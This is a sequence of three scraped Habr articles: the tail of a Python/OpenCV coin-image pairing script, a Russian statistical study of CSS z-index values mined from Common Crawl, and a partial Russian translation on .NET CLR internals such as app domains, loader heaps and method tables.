if((bottom\_1 - top\_1 >= nMinSize or right\_1 - left\_1 >= nMinSize)
and (bottom\_2 - top\_2 >= nMinSize or right\_2 - left\_2 >= nMinSize)):
nCoinsMinSizePlus = nCoinsMinSizePlus + 1
crop\_img\_1 = image\_np[top\_1:bottom\_1, left\_1:right\_1]
crop\_img\_2 = image\_np[top\_2:bottom\_2, left\_2:right\_2]
# resize image
dim = get\_resize\_dim(left\_1, top\_1, right\_1, bottom\_1)
crop\_img\_1 = cv2.resize(crop\_img\_1, dim,
interpolation = cv2.INTER\_AREA)
dim = get\_resize\_dim(left\_2, top\_2, right\_2, bottom\_2)
crop\_img\_2 = cv2.resize(crop\_img\_2, dim,
interpolation = cv2.INTER\_AREA)
image\_save\_name = save\_path + image\_root[0] + "\_00a.png"
#plt.imsave(save\_path + image\_save\_name, crop\_img\_1)
cv2.imwrite(image\_save\_name, crop\_img\_1)
image\_save\_name = save\_path + image\_root[0] + "\_00b.png"
#plt.imsave(save\_path + image\_save\_name, crop\_img\_2)
cv2.imwrite(image\_save\_name, crop\_img\_2)
#plt.figure(figsize=(4,4))
#f, axarr = plt.subplots(1,2)
#axarr[0].imshow(crop\_img\_1)
#axarr[1].imshow(crop\_img\_2)
#plt.show()
#print("======================")
# We may have one OR MORE extra images: \_001, \_002...
# As the human (owner of a dataset) haven't removed them,
# they ALL are considered valid.
# Example: we have 3 images: 001, 002, 003, each containing 2 coins,
# a and b, (001 contains heads, 002, 003 contain tails, but shot from
# a different angle, so
# the human decided to include them, to increase dataset's divercity).
# We want to create pairs 001a/002a, 001b/002b, 001a/003a,
# 001b/003b, 002a/003a, 002b/003b
# it means that we DO NOT prevent an image that was already scanned
# as "item" to be scanned again as "coin\_info" (otherwise, uncomment
# "processed" tag.
elif(coin\_info[-1] == "pair"): # or coin\_info[-1] == "processed"):
if(len(coin\_info[1]) < 1):
continue
nTotalCoins = nTotalCoins + len(coin\_info[1])
for j,item in enumerate(arrCoinLocations[i:]):
# Both images should contain same number of coins.
# It is possible to create a valid image pair NOT having
# same num. of coins (say, we have 5 coins
# on first image, and zoom in to keep 3 coins on second one).
# Human can probably figure that out, but we discart this
# case, as an extreamely rare one.
if(len(item[1]) != len(coin\_info[1])):
continue
# Note that we may have image names like
# 125\_001.jpg vs 2125\_001.jpg, so we need to do exact check,
# rather than ising "in"
image\_path\_1 = item[0]
word\_list\_1 = image\_path\_1.split("/")
image\_name\_1 = word\_list\_1[-1]
# ['37076234', '000.jpg']
image\_root\_1 = re.split("\_", image\_name\_1)
# image name is 125\_001, 125 is in 125\_000, but 125\_000 not
# in 125\_001, we have found the next image of the set
# name\_001, name\_002...
# Note that this check is excessive, as
# "for j,item in enumerate(arrCoinLocations[i:]):"
# guarantees the "image\_name not in item[0]"
if image\_root[0] == image\_root\_1[0] and image\_name not in image\_name\_1:
#print("\tPair:", image\_name, ", ", image\_name\_1)
image\_name\_no\_ext\_1 = re.split("\.", image\_name\_1)[0]
# Find centers of rectangles for second coin side
# (array as there can be more than one coin on image),
# and adjust them for a bounding box of coin group
# (this is done in case "heads" are zoomed, compared to "tails").
left\_1 = coin\_info[2] # it is going to decrease
top\_1 = coin\_info[3]
arrCenters\_1 = []
for nRectIdx in range(0, len(coin\_info[1])):
(left, top, right, bottom) = coin\_info[1][nRectIdx][:4]
arrCenters\_1.append([left + (right - left + 1) / 2,
top + (bottom - top + 1) / 2])
left\_1 = min(left\_1, int(left))
top\_1 = min(top\_1, int(top))
for center in arrCenters\_1:
center[0] = center[0] - left\_1
center[1] = center[1] - top\_1
left\_2 = item[2]
top\_2 = item[3]
arrCenters\_2 = []
for nRectIdx in range(0, len(item[1])):
(left, top, right, bottom) = item[1][nRectIdx][:4]
arrCenters\_2.append([left + (right - left + 1) / 2,
top + (bottom - top + 1) / 2])
left\_2 = min(left\_2, left)
top\_2 = min(top\_2, top)
for center in arrCenters\_2:
center[0] = center[0] - left\_2
center[1] = center[1] - top\_2
# Now we need to find the correspondence
arrPairIdx = []
for idx\_1,center\_1 in enumerate(arrCenters\_1):
(x1,y1) = center\_1
nMinIdx = 0
nMinDistance = 100000000 # more than any image size squared
for idx\_2,center\_2 in enumerate(arrCenters\_2):
(x2,y2) = center\_2
distance = (x1-x2)\*\*2 + (y1 - y2)\*\*2
if(nMinDistance > distance):
nMinIdx = idx\_2
nMinDistance = distance
arrPairIdx.append([idx\_1, nMinIdx])
# At this point we know which rect on first image
# corresponds to which one on second
image\_np\_1 = cv2.imread(image\_path,
cv2.IMREAD\_IGNORE\_ORIENTATION | cv2.IMREAD\_COLOR)
image\_np\_2 = cv2.imread(item[0],
cv2.IMREAD\_IGNORE\_ORIENTATION | cv2.IMREAD\_COLOR)
for k, idxs in enumerate(arrPairIdx):
(left\_1, top\_1, right\_1, bottom\_1) = coin\_info[1][idxs[0]][:4]
(left\_2, top\_2, right\_2, bottom\_2) = item[1][idxs[1]][:4]
if((bottom\_1 - top\_1 >= nMinSize or right\_1 - left\_1 >= nMinSize)
and (bottom\_2 - top\_2 >= nMinSize or right\_2 - left\_2 >= nMinSize)):
nCoinsMinSizePlus = nCoinsMinSizePlus + 1
crop\_img\_1 = image\_np\_1[top\_1:bottom\_1, left\_1:right\_1]
# resize image
dim = get\_resize\_dim(left\_1, top\_1, right\_1, bottom\_1)
crop\_img\_1 = cv2.resize(crop\_img\_1, dim,
interpolation = cv2.INTER\_AREA)
image\_save\_name = image\_root[0] + "\_{:02d}".format(k) + "a.png"
#plt.imsave(save\_path + image\_save\_name, crop\_img)
cv2.imwrite(save\_path + image\_save\_name, crop\_img\_1)
crop\_img\_2 = image\_np\_2[top\_2:bottom\_2, left\_2:right\_2]
dim = get\_resize\_dim(left\_2, top\_2, right\_2, bottom\_2)
crop\_img\_2 = cv2.resize(crop\_img\_2, dim,
interpolation = cv2.INTER\_AREA)
image\_save\_name = image\_root[0] + "\_{:02d}".format(k) + "b.png"
#plt.imsave(save\_path + image\_save\_name, crop\_img)
cv2.imwrite(save\_path + image\_save\_name, crop\_img\_2)
#axarr[1].imshow(crop\_img)
#plt.show()
#print("======================")
#item[-1] = "processed"
# Now we need to move source file to trash, but make it
# zero size first so it doesn't take space there
# overwrite and make the file blank instead
open(image\_path, 'w').close()
os.remove(image\_path)
print("nTotalCoins:", nTotalCoins, "; nCoinsMinSizePlus:", nCoinsMinSizePlus)
Cleanup:
yolo.close\_session()
Let's summarize this step. We have, as the input, raw (ok, some manual cleanup was applied) images, and as the output, we got pairs of (presumably) head/tail. By "presumably" I mean that we'll figure it out on the next step. | https://habr.com/ru/post/538958/ | null | en | null |
# Развлекаемся с z-index
Элементы на веб-страницах, в основном, располагаются бок о бок или друг под другом. Но иногда дизайн требует перекрытия элементов. Например, выпадающее меню навигации, панели предварительного просмотра при наведении курсора, бесполезные баннеры о куках и, конечно, бесчисленные всплывающие окна, требующие вашего немедленного внимания.
В этих ситуациях браузер должен как-то решить, какие элементы показывать «сверху», а какие элементы держать в фоновом режиме, полностью или частично закрытыми. Относительно сложный набор правил в стандарте CSS определяет [порядок наложения](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context#The_stacking_context) по умолчанию для каждого элемента страницы (наверное, всё в мире можно назвать «относительно сложным», но сразу настораживает, что стандарт поставляется со специальным приложением, озаглавленным [«Подробное описание контекстов наложения»](https://drafts.csswg.org/css2/zindex.html)).
Если дефолтный порядок не устраивает, то разработчики прибегают к свойству [`z-index`](https://developer.mozilla.org/en-US/docs/Web/CSS/z-index): оно даёт контроль над виртуальной осью z (глубиной), которая концептуально проходит «сквозь» страницу. Таким образом, элемент с более высоким `z-index` отображается «ближе» к пользователю, то есть рисуется поверх элементов с более низкими индексами.
Интересное свойство оси `z` заключается в том, что у неё нет естественных границ. Горизонтальная и вертикальная оси обычно ограничены ожидаемыми размерами дисплея. Мы не ожидаем, что какие-либо элементы будут рахмещаться на «1000000px слева» или «-3000em сверху»: они либо станут невидимы, либо вызовут неприятную прокрутку. (Если только вы не читаете эту статью в то время, когда повсюду дисплеи шириной в миллионы пикселей. Если это так, призываю вас прекратить чтение и запустить проект веб-страницы на триллион долларов).
А вот значения `z-index` являются безразмерными и имеют значение только в относительном выражении: страница с двумя элементами будет выглядеть одинаково, если индексы `z` равны `1` и `2` или `−10` и `999`. В сочетании с тем, что страницы часто собираются из компонентов, разработанных изолированно, это приводит к любопытному искусству выбора соответствующих z-индексов.
Как гарантировать, что ваше раздражающее всплывающее окно точно отобразится поверх всех элементов на странице, если вы не знаете, сколько их, кто их написал, и насколько *они* хотели быть наверху? Вот тогда вы и поставите свой z-индекс на 100, или, может быть, 999, или, может быть, чисто на всякий случай, на 99999, чтобы гарантировать, что ваш точно выиграет.
По крайней мере, так я пишу свой CSS. В остальной части этого поста мы рассмотрим миллионы z-индексов и посмотрим, что делают остальные веб-разработчики.
Получение данных
================
Первым шагом стал сбор большого набора значений z-индексов из существующих веб-страниц. Для этого я обратился к [Common Crawl](https://commoncrawl.org/), общедоступному, очень большому и замечательному хранилищу страниц из интернета. Данные размещаются на S3, так что можно достаточно эффективно запрашивать их из кластера AWS. К счастью, в интернете есть несколько учебных пособий, показывающих, как это сделать.
Мой сложный экстрактор z-индексов включает поиск на каждой странице всех совпадений следующего регулярного выражения:
```
re.compile(b'z-index *: *(-?[0-9]+|auto|inherit|initial|unset)')
```
Как только значения определены, остаётся стандартная задача map-reduce для количества вхождений. К счастью, я не первый, кто захотел подсчитать вхождения всяких вещей в выборке, и этого было достаточно, чтобы адаптировать [один из многих примеров](https://github.com/commoncrawl/cc-pyspark). (Почти весь мой личный код — это регулярное выражение вверху).
Благодаря [очень подробной статье в блоге](https://tech.marksblogg.com/petabytes-of-website-data-spark-emr.html) мне удалось развернуть код на кластере [Elastic Map Reduce](https://aws.amazon.com/emr/), и я приступил к сканированию [архива страниц за март 2019 года](http://commoncrawl.org/2019/04/march-2019-crawl-archive-now-available/). Этот конкретный архив разбит на 56 000 частей, из которых я наугад выбрал 2500, или около 4,4%. В этом числе нет ничего особенного, кроме того, что оно примерно переводится в цену, которую я был готов инвестировать в этот эксперимент. После ужасной ночи в надежде, что я неправильно сделал прогнозы, я получил результаты, извлечённые из 112,7 млн страниц. (Должен отметить, что всё это HTML-страницы. Я не слишком углублялся в этот вопрос, но похоже, что Common Crawl не индексирует внешние таблицы стилей, и в результате я извлекаю значения только из встроенных CSS. Оставлю в качестве упражнения для читателя определить, соответствует ли полученное распределение тому, что вы получите из внешних таблиц стилей).
Самые распространённые значения
===============================
Моё сканирование дало в общей сложности около 176,5 млн значений z-индекса, из них 36,2 тыс. уникальных.
Итак, каковы самые распространённые?
На рисунке показан топ-50. Обратите внимание, что ось *y* логарифмическая и показывает относительные частоты. Например, наиболее распространённое значение 1 составляет 14,6% всех вхождений, найденных в выборке. В целом топ-50 составляет около всех 80% собранных значений.
Первое наблюдение состоит в том, что доминируют положительные значения. Единственный отрицательный элемент в топ-50 — это `−1` (второй по распространённости `−2` занимает 70-е место). Возможно, это говорит нам, что люди обычно более заинтересованы в том, чтобы вывести вещи наверх, чем спрятать их в фоне.
Как правило, у большинства топовых значений есть одно из следующих свойств:
* Они малы: например, все числа от 0 до 12 находятся в топ-50.
* Это степени десяти или кратные числа: 10, 100, 1000, 2000, …
* Они «близки» к степени десяти: 1001, 999, 10001, …
Эти закономерности согласуются с тем, что люди выбирают большие «знакомые» значения (степени десяти), а затем, возможно, для регулировки относительной глубины внутри компонента — значения немного выше или ниже.
Также интересно посмотреть на самые распространённые значения, которые не вписываются ни в один из этих шаблонов:
На 36-м месте мы видим 2147483647. Это число многие программисты сразу распознают как `INT_MAX`, то есть 231−1. Наверное, люди рассуждают так: поскольку это самое большое значение для (знакового) целого, никакой z-индекс не окажется выше, поэтому мой элемент с индексом INT\_MAX всегда будет наверху. Однако, MDN говорит [следующее](https://developer.mozilla.org/en-US/docs/Web/CSS/integer) о целых числах в CSS:
> Не существует официального диапазона значений типа . Opera 12.1 поддерживает значения до 215-1, IE — до 220-1, а остальные браузеры даже выше. На протяжении существования значений CSS3 было проведено несколько обсуждений об установлении минимально поддерживаемого диапазона: последнее решение приняли в апреле 2012 на время фазы LC, тогда был принят диапазон [-227-1; 227-1], но были предложены и другие значения, такие как 224-1 и 230-1. Однако, самая свежая на данный момент спецификация более не указывает на область определения этого типа данных.
Таким образом, не только нет согласованного максимального значения, но и в каждой документированной спецификации или стандартном предложении `INT_MAX` фактически находится вне диапазона.
На 39-м месте у нас 8675309, в котором лично я не увидел ничего примечательного. Но для более полумиллиона разработчиков, очевидно, оно имеет смысл. Я подозреваю, что вы либо мгновенно узнаете это число, либо совершенно не поймёте его смысл, в зависимости от того, где и когда вы выросли. Не буду выдавать спойлеров, ответ скрывается всего за [одним поиском](https://duckduckgo.com/?q=8675309).
Последние два числа, которые казались немного неуместными, — это 1030 и 1050, на 42-м и 45-м местах, соответственно. Ещё один беглый поиск показал, что это [значения z-индекса по умолчанию](https://stackoverflow.com/a/45796753/358642) для классов `navbar-fixed` и `modal` в Bootstrap.
Распределение значений
======================
Хотя подавляющее большинство всех значений `z-index` приходится на небольшое количество вариантов, может быть интересно взглянуть на более широкое распределение собранного набора. Например, на рисунке 2 показана частота всех значений между -120 и 260.
Кроме доминирования круглых чисел, мы видим почти фрактальное качество узоров на нескольких уровнях. Например, середина между двумя локальными максимумами часто сама является (меньшим) локальным максимумом: это 5 между 1 и 10, 15 между 10 и 20, 50 между 1 и 100, и т. д.
Мы можем подтвердить этот эффект и на более широком диапазоне: на следующем рисунке показаны частоты всех значений от -1200 до 2600, с округлением к меньшему по модулю до десяти, то есть числа вроде 356 и 359 засчитывались как 350. График очень похож на предыдущий. Как видим, структура в основном сохраняется при рассмотрении значений на порядок больше.
Наконец, на последней иллюстрации все положительные значения `z-index` от 1 до 9999999999 сгруппированы по первой цифре (горизонтальная ось) и количеству цифр (вертикальная ось).
*Положительные значения `z-index`, сгруппированные по первой цифре и количеству цифр. Размеры пропорциональны общей частоте группы. [Нажмите на группу](https://psuter.net/2019/07/07/z-index#fig-4) для получения дополнительной информации*
Мы можем интуитивно представить каждую группу как шаблон значений, например, `3xxx` для всех четырёхзначных значений, начинающихся с 3. Каждая группа отображается в виде прямоугольника, размер которого пропорционален частоте паттерна. На рисунке показано, например, что для каждого порядка величины, т. е. ряда групп, частоты следуют аналогичной тенденции, причём значения, начиная с 1, являются наиболее распространёнными, затем 9, затем 5.
Оттенок каждой группы устанавливается на основе её энтропии. У жёлтых групп самая высокая энтропия, а у синих — самая низкая. Это помогает выделить шаблоны, где разработчики, как правило, выбирают одни и те же значения, или те, где значения распределяются более равномерно (обратите внимание, что энтропия всего нашего набора данных составляет 6,51 бит).
Заключение
==========
Хотя было определённо интересно собирать и исследовать этот набор данных, я уверен, что есть лучшая статистика, визуализации и объяснения, ожидающие добычи и представления. Если хотите попробовать, не стесняйтесь загружать и распространять файл [z-index-data.csv](https://psuter.net/resources/z-indices/z-index-data.csv).
Возможно, вы преуспеете там, где я потерпел неудачу, и найдёте способ включить в график наибольшее значение `z-index`, которое я нашёл, а именно 101242-1.
Да, то число 9 повторяется 1242 раза. Очень надеюсь, что они, наконец, смогли показать свой наверху. | https://habr.com/ru/post/459374/ | null | ru | null |
# Знакомство с внутренним устройством .NET Framework. Посмотрим, как CLR создаёт объекты
Вниманию читателей «Хабрахабра» представляется перевод статьи Хану Коммалапати и Тома Кристиана об внутреннем устройстве .NET. Существует альтернативный вариант перевода на сайте [Microsoft](https://msdn.microsoft.com/ru-ru/library/Dd335945.aspx).
В статье рассматривается:
* Системный домен (SystemDomain), Домен общего доступа (SharedDomain) и домен по умолчанию (DefaultDomain)
* Представление объекта и другие особенности организации памяти
* Представление таблицы методов
* Распределение методов
Используемые технологии: .NET Framework, C#
Содержание
==========
1. Домены создаваемые начальным загрузчиком
2. Системный домен
3. Домен общего доступа (разделяемый)
4. Дефолтный домен
5. Загрузчик куч
6. Основы типов
7. Экземпляр объекта
8. Таблица методов
9. Размер базового экземпляра
10. Таблица слотов метода
11. Описатель метода
12. Карта таблиц виртуальных методов интерфейсов и карта интерфейса
13. Виртуальное распределение
14. Статические переменные
15. EEClass
16. Заключение
Общая среда исполнения (CLR) становится (или уже стала) главной инфраструктурой для построения приложений в Windows, поэтому наличие глубокого понимания его внутреннего устройства поможет создавать эффективные приложения промышленного класса.
В этой статье мы будем исследовать внутреннее устройство CLR, включая макет экземпляра объекта, макет таблицы методов, распределение методов, интерфейсное распределение, а также различные структуры данных.
Мы будем использовать очень простые фрагменты С# кода, любое неявное использование синтаксиса языка программирования подразумевает С#. Некоторые обсуждаемые структуры данных и алгоритмы будут изменены в следующих версиях среды Microsoft® .NET Framework, но концептуальные основы останутся прежними. Будем использовать отладчик Visual Studio® .NET 2003 и расширение для отладки Son of Strike (SOS) чтобы просматривать структуры данных обсуждаемые в статье. SOS загружает внутренние данные CLR, и позволяет просматривать, сохранять интересующую информацию. Посмотрите процедуру загрузки SOS.dll в процесс отладчика в соответствующих источниках.
See the «Son of Strike» sidebar for loading SOS.dll into the Visual Studio .NET 2003 debugger process.
В статье мы будем описывать классы соответствующие реализациям в Shared Source CLI (SSCLI).
Таблица на рисунке 1 поможет в исследовании мегабайтов кода в SSCLI во время поиска необходимых структур.
**Рисунок 1 SSCLI Ссылки**
| Компонент | SSCLI Путь |
| --- | --- |
| AppDomain | /sscli/clr/src/vm/appdomain.hpp |
| AppDomainStringLiteralMap | /sscli/clr/src/vm/stringliteralmap.h |
| BaseDomain | /sscli/clr/src/vm/appdomain.hpp |
| ClassLoader | /sscli/clr/src/vm/clsload.hpp |
| EEClass | /sscli/clr/src/vm/class.h |
| FieldDescs | /sscli/clr/src/vm/field.h |
| GCHeap | /sscli/clr/src/vm/gc.h |
| GlobalStringLiteralMap | /sscli/clr/src/vm/stringliteralmap.h |
| HandleTable | /sscli/clr/src/vm/handletable.h |
| InterfaceVTableMapMgr | /sscli/clr/src/vm/appdomain.hpp |
| Large Object Heap | /sscli/clr/src/vm/gc.h |
| LayoutKind | /sscli/clr/src/bcl/system/runtime/interopservices/layoutkind.cs |
| LoaderHeaps | /sscli/clr/src/inc/utilcode.h |
| MethodDescs | /sscli/clr/src/vm/method.hpp |
| MethodTables | /sscli/clr/src/vm/class.h |
| OBJECTREF | /sscli/clr/src/vm/typehandle.h |
| SecurityContext | /sscli/clr/src/vm/security.h |
| SecurityDescriptor | /sscli/clr/src/vm/security.h |
| SharedDomain | /sscli/clr/src/vm/appdomain.hpp |
| StructLayoutAttribute | /sscli/clr/src/bcl/system/runtime/interopservices/attributes.cs |
| SyncTableEntry | /sscli/clr/src/vm/syncblk.h |
| System namespace | /sscli/clr/src/bcl/system |
| SystemDomain | /sscli/clr/src/vm/appdomain.hpp |
| TypeHandle | /sscli/clr/src/vm/typehandle.h |
Момент на который стоит обратить внимание перед тем как мы пойдём дальше – информация предоставленная в этой статье действительна, только для .NET Framework 1.1 (также в основном это соответствует Shared Source CLI 1.0, с учётом ряда заметных исключений, присутствующих в различных сценариях взаимодействия) при исполнении на платформе x86. Информация изменена в следующих версиях .NET Framework, поэтому пожалуйста не занимайтесь сборкой ваших приложений с абсолютными ссылками на эти внутренние структуры.
Домены, создаваемые загрузчиком CLR
-----------------------------------
Перед тем, как запустить первую строчку управляемого кода, создаётся три домена приложения. Два из них не доступны в управляемом коде и даже не видимы для хоста CLR. Они могут быть только созданы только при загрузке CLR обеспечиваемой шиной mscoree.dll и mscorwks.dll (или mscorsvr.dll для мультипроцессорных систем). Как вы можете видеть на рисунке 2, это системный домен и разделяемый (общий) домен, они могут существовать только в одном экземпляре. Третий домен – дефолтный, только экземпляр этого домена приложения имеет наименование. Для простого хоста CLR, такого как консольное приложение, имя дефолтного домена приложений содержит имя исполняемого образа. Дополнительные домены, могут быть созданы из управляемого кода методом AppDomain.CreateDomain или из хоста неуправляемого кода используя интерфейс ICORRuntimeHost.
Сложные хосты, такие как ASP.NET создают необходимое количество доменов, в соответствии с количеством приложений, работающих в обслуживаемом Web сайте.
*Рисунок 2. Домены созданные загрузчиком CLR*
Системный домен
---------------
Системный домен создаёт и инициализирует домен общего доступа (SharedDomain) и домен по умолчанию (Default). Он же выполняет загрузку системной библиотеки mscorlib.dll в домен общего доступа.
Также системный домен содержит доступные в границах процесса строковые константы, интернированные явно или не явно.
Интернирование строк это функционал оптимизации, немного тоталитарный в среде .NET Framework 1.1, так как CLR не даёт возможности сборкам оптимизировать этот фунционал. При этом, память используется для хранения только одного экземпляра строки для всех строковых литералов во всех доменах приложения.
Системный домен также служит для генерации идентификаторов интерфейсов в границах процесса, которые используются при создании карты интерфейсов (InterfaceVtableMaps) в каждом домене приложений (AppDomain).
Системный домен прослеживает все домены в процессе и предоставляет функциональность загрузки и выгрузки доменов приложений.
Домен общего доступа (SharedDomain)
-----------------------------------
Весь доменно-нейтральный код загружается в домен общего доступа. Mscorlib, системная библиотека, необходима для кода пользователя во всех доменах приложений(AppDomains). Эта бибилиотека автоматически загружается в домен общего доступа. Базовые типы из пространства имён System, такие как Object, ValueType, Array, Enum, String и Delegate загружаются предварительно в этот домен в процессе загрузки CLR загрузчиком. Код пользователя может также быть загружен в этот домен, с помощью установки атрибутов LoaderOptimization приложением хоcтом CLR во время вызова CorBindToRuntimeEx. Консольное приложение может загружать код в домен общего доступа при добавлении атрибута System.LoaderOptimizationAttribute к методу Main приложения. Домен общего доступа также управляет картой сборок, индексированной относительно базового адреса, карта действует как таблица справочник для управления общими зависимостями сборок, загруженных в дефолтный домен и другие домены приложений, созданные в управляемом коде. Дефолтный домен служит только для загрузки частного кода пользователя, который не должен быть доступен другим приложениям.
Дефолтный домен
---------------
Дефолтный домен это экземпляр домена приложения, где как правило выполняется код приложения. В то время как некоторые приложения требуют, чтобы дополнительные домены приложения были созданы во время выполнения (такие, что имеют архитектуру плагинов или приложения выполняющие генерацию значительного количества кода во время выполнения), большинство приложений создают один домен во время их выполнения. Весь код, выполняемый в этом домене, контекстно ограничен на уровне домена. Если в приложении создано несколько доменов приложения, любой кросс-доменный доступ будет происходить через прокси .NET Remoting. Дополнительные внутри-доменные границы могут быть созданы используя типы наследованные от System.ContextBoundObject.
Каждый домен приложений имеет свои собственные SecurityDescriptor, SecurityContext и DefaultContext, также как собственный загрузчик куч (High-Frequency Heap, Low-Frequency Heap, and Stub Heap),
Таблицы описателей (Handle Table, Large Object Heap Handle Table), Менеджер карты интерейсов Vtable и кэш сборок.
Кучи загрузчика
---------------
Кучи загрузчика(LoaderHeaps) предназначены для загрузки различных артефактов времени выполнения CLR и артефактов оптимизации, существующих в течение всего времени существования домена. Эти кучи увеличиваются на предсказуемые фрагменты для минимизации фрагментации. Кучи загрузчика отличаются от кучи сборщика мусора (GC) (или набора куч в случае симметричных мультипроцессоров SMP) в том, что куча сборщика мусора содержит экземпляры объектов, а кучи загрузчика содержат системные типы. Часто запрашиваемые структуры, такие как таблицы методов, описатели методов (MethodDescs), описатели полей (FieldDescs) и карта интерфейсов располагаются в куче частого доступа (HighFrequencyHeap). Структуры, к которым обращения более редки, такие как EEClass и загрузчик классов(ClassLoader), а также их служебные таблицы, располагаются в куче с низкой частотой обращений (LowFrequencyHeap). Служебная куча (StubHeap) содержит блоки, обеспечивающие поддержку безопасности доступа в коде code access security (CAS), оболочку COM вызовов и вызовов P/Invoke. Рассмотрев домены и кучи загрузчики на высоком уровне, теперь посмотрим на их физическую организацию более пристально в контексте простого приложения на рисунке 3. Остановим выполнение программы на «mc.Method1();» и создадим дамп домена с помощью расширенной команды DumpDomain отладчика SOS. Ниже представлен результат:
```
!DumpDomain
System Domain: 793e9d58, LowFrequencyHeap: 793e9dbc,
HighFrequencyHeap: 793e9e14, StubHeap: 793e9e6c,
Assembly: 0015aa68 [mscorlib], ClassLoader: 0015ab40
Shared Domain: 793eb278, LowFrequencyHeap: 793eb2dc,
HighFrequencyHeap: 793eb334, StubHeap: 793eb38c,
Assembly: 0015aa68 [mscorlib], ClassLoader: 0015ab40
Domain 1: 149100, LowFrequencyHeap: 00149164,
HighFrequencyHeap: 001491bc, StubHeap: 00149214,
Name: Sample1.exe, Assembly: 00164938 [Sample1],
ClassLoader: 00164a78
```
**Рисунок 3 Sample1.exe**
```
using System;
public interface MyInterface1
{
void Method1();
void Method2();
}
public interface MyInterface2
{
void Method2();
void Method3();
}
class MyClass : MyInterface1, MyInterface2
{
public static string str = "MyString";
public static uint ui = 0xAAAAAAAA;
public void Method1() { Console.WriteLine("Method1"); }
public void Method2() { Console.WriteLine("Method2"); }
public virtual void Method3() { Console.WriteLine("Method3"); }
}
class Program
{
static void Main()
{
MyClass mc = new MyClass();
MyInterface1 mi1 = mc;
MyInterface2 mi2 = mc;
int i = MyClass.str.Length;
uint j = MyClass.ui;
mc.Method1();
mi1.Method1();
mi1.Method2();
mi2.Method2();
mi2.Method3();
mc.Method3();
}
}
```
Наше консольное приложение, Sample1.exe, загружено в домен приложения (AppDomain), который имеет имя «Sample1.exe”. Mscorlib.dll загружен в домен общего доступа (SharedDomain), но также фигурирует в системном домене (SystemDomain), как системная библиотека ядра. Куча высокочастотного доступа (HighFrequencyHeap), низкочастотного доступа (LowFrequencyHeap) и stub-куча(StubHeap) располагаются в каждом домене. Системный домен и домен общего доступа используют один и тот же загрузчик классов (ClassLoader), в то время как дефолтный домен (Default AppDomain) использует свой собственный.
Результат команды не отображает зарезервированный и используемый размер куч загрузчика. Куча высокочастотного доступа первоначально резервирует 32Кб и использует 4Кб.
Куча низкочастотного доступа stub кучи первоначально резервируют 8Кб и занимают 4Кб.
Также не показана куча карты интерфейсов (InterfaceVtableMap, далее IVMap) Каждый домен обладает картой интерфейсов, которая создаётся на своей собственной куче загрузчика во время фазы инициализации домена. Куча карты интерфейсов (IVMap) резервирует 4Кб и занимает 4Кб первоначально. Мы обсудим значимость карты интерфейсов, когда будем исследовать макет типа (type layout) в последующих секциях.
На Рисуноке 2 показаны куча дефолтного процесса (default Process Heap), куча компилятора времени выполнения (JIT Code), куча сборщика мусора (GC) для маленьких объектов (SOH) и куча больших объектов (LOH) (для объектов с размером 85000 байт или более) чтобы проиллюстрировать семантическое различие между ними и кучами загрузчика. JIT-компилятор или компилятор времени выполнения генерирует инструкции для архитектуры x86 и сохраняет их в куче для JIT кода. Куча сборщика мусора и куча больших объектов являются кучами, которые обрабатываются сборщиком мусора, на этих кучах создаются управляемые объекты.
Основы типов
------------
Тип является фундаментальным элементом программирования в .NET. В C# тип может быть объявлен с помощью следующих ключевых слов: class, struct и interface. Большинство типов создаются самим программистом явно, однако, в особых случаях взаимодействия и в сценариях вызовов удалённых объектов (.NET Remoting), .NET CLR генерирует типы неявно. Эти генерируемые типы включают COM и вызываемые обертки времени выполнения (Runtime Callable Wrappers) и сквозные прокси (Transparent Proxies).
Мы исследуем .NET фундаментальные типы, начиная со структуры стека что содержит ссылки на объект (как правило, стек – одно из мест, с которых экземпляр объекта начинает своё сущесвование).
Код приведённый на Рисунке 4 содержит простую программу с консольной точкой входа, где вызывается статический метод.
Метод Method1создаёт экземпляр типа SmallClass, который содержит массив байт используемый для демонстрации создания экземпляра объекта в куче больших объектов LOH. Код тривиален, но будет задействован в нашем обсуждении.
**Рисунок 4 Большие и маленькие объекты**
```
using System;
class SmallClass
{
private byte[] _largeObj;
public SmallClass(int size)
{
_largeObj = new byte[size];
_largeObj[0] = 0xAA;
_largeObj[1] = 0xBB;
_largeObj[2] = 0xCC;
}
public byte[] LargeObj
{
get { return this._largeObj; }
}
}
class SimpleProgram
{
static void Main(string[] args)
{
SmallClass smallObj = SimpleProgram.Create(84930,10,15,20,25);
return;
}
static SmallClass Create(int size1, int size2, int size3,
int size4, int size5)
{
int objSize = size1 + size2 + size3 + size4 + size5;
SmallClass smallObj = new SmallClass(objSize);
return smallObj;
}
}
```
Рисунок 5 показывает снимок типичного стека вызовов fastcall остановленного в точке останова на строке „return smallObj;“ в методе Create. (Fastcall — .NET конвенция вызовов которая определяет, что аргументы передаются в функции в регистрах, когда это возможно, с остальными аргументами передаваемыми через стек справа на лево и затем извлекаемыми из стека вызываемой функцией
Локальная переменная значимого типа или типа-значения objSize размещена прямо в стеке. Переменные ссылочного типа, такие как smallObj хранятся с фиксированным занимаемым размером (4 битовое двойное слово DWORD) в стеке и содержат адрес экземпляров объектов размещённых в обычной куче сборщика мусора.
В традиционном C++, this – это указатель на объект; в управляемом мире программирования this — это референс или ссылка на объект (object reference). Тем не менее, она содержит адрес экземпляра объекта. Мы будем использовать термин экземпляр объекта (ObjectInstance) для структуры данных расположенной на адресе указанном в ссылке на объект.
*Рисунок 5. SimpleProgram стек и кучи*
Экземпляр объекта smallObj на обычной куче сборщика мусора содержит Byte[] указывающий на \_largeObj, чей размер 85000 байт ( заметьте, что рисунок показывает 85016 байт, что является действительным размером занимаемой области). CLR обращается с объектами размером более чем или равному 85000 байт по другому, в отличие от объектов меньшего. Большие объекты располагаются в куче больших объектов (LOH), в то время как маленькте объекты создаются а обычной куче сборщика мусора, которая оптимизирует размещение объектов и сбор мусора. LOH не сжимается, при этом обычная куча сжимается при каждом сборе мусора. Более того LOH очищается только при полном сборе мусора.
Экземпляр smallObj содержит описатель типа указывающий на таблицу методов (MethodTable) соответствующего типа. Будет присутствовать по одной таблице методов для каждого объявленного и все экземпляры объектов одного и того же типа будут указывать на одну и ту же таблицу методов. Также описатель будет содержать информацию о разновидности типа (интерфейс, абстрактный класс, конкретный класс, обёртка COM, прокси), число реализованных интерфейсов, карту интерфейсов для распределения методов, число слотов в таблице методов и таблицу слотов указывающих на реализацию.
